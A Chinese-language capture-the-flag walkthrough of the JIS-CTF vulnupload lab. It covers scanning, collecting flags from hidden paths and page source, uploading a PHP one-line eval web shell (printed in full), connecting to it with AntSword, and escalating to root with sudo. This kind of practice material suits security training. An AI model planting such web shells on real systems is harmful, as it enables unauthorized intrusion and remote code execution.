JIS-CTF-vulnupload靶场实验，拿下靶机flag（从渗透到提权全攻略）

实验目的：

掌握nmap、dirb等工具的使用，掌握单主机渗透常规思路。

软件工具：

Nmap，dirb ，AntSword

实验目标：

获得flag

实验步骤：

信息收集

在kali中打开终端，使用nmap工具对目标机器进行扫描

发现目标开启了http服务也就是80端口

在浏览器上输入靶机ip看看，发现是个登录界面

尝试一下sql注入发现好像不行，也没有发现什么信息

接着使用dirsearch工具进行路径的扫描（-i返回200状态码的）

扫描出了不少的路径，看到了网络爬虫协议

下面列出来禁止爬取的路径，那就不告诉我们存在这些路径

在/flag路径下拿到第一个flag

接着查找一下别的路径，在路径下有个管理员路径显示无法使用，但是返回的状态码是200

ctrl+u查看一下源代码

果然藏了东西，获得第二个flag并且还有一个账号和密码，想到刚刚的登录界面尝试登录一下首页

这是一个文件上传的页面，上传带有一句话木马的php

<?php @eval($_POST[hack])?> 然后修改后缀为php的文件

发现竟然可以成功上传

在之前的路径扫描中知道路径下有个uploaded_files/的路径，尝试一下

成功上传，并且执行了phpinfo命令

接着使用蚁剑进行连接,密码是刚刚一句话木马里面的hack

在hint.txt中成功拿到第三个flag

上传有个提示告诉我们存在一个用户technawi，并且有个flag.txt文件需要这个权限

接着我们打开蚁剑的终端窗口

定位technawi用户文件：find / -user ‘technawi’ 2>/dev/null

(这个命令的核心是在整个文件系统中查找所有属于用户 technawi 的文件 / 目录，同时屏蔽执行过程中产生的 “权限不足” 等错误提示，只输出有效结果。)

-user：find 命令的内置参数，专门用于匹配 “文件属主”；

2>/dev/null：2标准错误输出 >重定向 /dev/null 空设备，相当于被丢弃

发现有个txt文件比较奇怪，查询试试

成功拿到第四个flag

里面竟然存放了technawi的账号和密码

接着回到虚拟机登录一下这个用户的账号和密码，使用远程连接ssh@靶机的ip

然后查看flag.txt文件

成功拿到第5个flag

Sudo提权

前面我们在home目录下发现 .sudo_as_admin_successful 文件，表示需要使用sudo提权。

输入sudo -l ：查看用户technawi的sudo权限配置

显示“ALL”说明technawi可以用自己的密码切换为 root 用户

简单来说就是：即可以通过 sudo 获取 root 权限

直接输入sudo su

成功提权成为root用户